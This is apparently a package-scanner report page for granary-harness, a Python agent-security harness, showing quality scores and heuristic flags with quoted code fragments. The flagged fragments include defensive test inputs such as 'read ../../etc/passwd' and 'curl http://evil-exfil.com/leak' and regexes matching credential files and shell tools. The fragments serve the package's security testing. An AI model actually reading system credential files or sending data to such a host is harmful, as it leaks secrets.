granary-harness

v1.1.0 safe
2.8
Low Risk

Granary agent-security, governance, and privilege containment harness.

📦 Package Quality Overall: Medium (5.2/10)

✦ High Test Suite 9.0

Test suite present — 10 test file(s) found

  • 10 test file(s) detected (e.g. test_core.py)
◈ Medium Documentation 7.0

Some documentation present

  • Documentation URL: "Documentation" -> https://github.com/Tunatroll/granary-harness#readme
  • Detailed PyPI description (6866 chars)
○ Low Contributing Guide 4.0

No contributing guide or governance files found

  • Development Status classifier >= Beta
◈ Medium Type Annotations 5.0

Partial type annotation coverage

  • 266 type-annotated function signatures detected in source
○ Low Multiple Contributors 1.0

Could not retrieve contributor data from GitHub

  • GitHub API error: 401

🔬 Heuristic Checks

⚠ Outbound Network Calls score 3.0

Found 2 network call pattern(s)

  • """ req = self.requests.get(approval_id) if not req or req.status != "pending":
  • """ req = self.requests.get(approval_id) if not req or req.status != "approved":
⚠ Code Obfuscation score 2.0

Found 1 obfuscation pattern(s)

  • rds tool_pattern = re.compile(r"\b(run|execute|exec|sh|bash|cmd|eval|python|git|systemd)\b", re.IGNORECASE)
⚠ Shell / Subprocess Execution score 8.0

Found 4 shell execution pattern(s)

  • SS"] = "echo" return subprocess.run( ["git"] + args, cwd=self.workspace_
  • de("utf-8") res = subprocess.run( self.target_agent_cmd, inpu
  • environ)) completed = subprocess.run( argv, cwd=cwd, capture_
  • ""Run an allowlisted argv (no shell=True) inside the workspace boundary.""" argv = self._par
⚠ Credential Harvesting score 7.5

Found 3 credential access pattern(s)

  • re.compile(r"(?i)\.env\b|/etc/passwd|api[_-]?key"), ] STRIP_CONTEXT_KEYS = frozenset({ "dis
  • Path traversal attempt '../../etc/passwd' - Third input: Egress exfiltration attempt 'http:/
  • ello", "read ../../etc/passwd", "curl http://evil-exfil.com/leak",
✓ Typosquatting

No typosquatting candidates detected

✓ Registered Email Domain

Email domain looks legitimate: gmail.com>

✓ Suspicious Page Links

All external links appear legitimate

⚠ Git Repository History score 3.0

GitHub API error: 401

  • GitHub API error: 401
⚠ Maintainer History score 4.0

2 maintainer concern(s) found

  • Author name is missing or very short
  • Author "" appears to have only 1 package on PyPI (new or inactive account)
✓ Known CVE Vulnerabilities

No known vulnerabilities found in OSV database.

💡 AI App Starter Prompt

Use this prompt to build a project with granary-harness
Build a simple Python application using the granary-harness package to demonstrate its core features.

💬 Discussion Feed

Leave a comment

No discussion yet. Be the first to share your thoughts!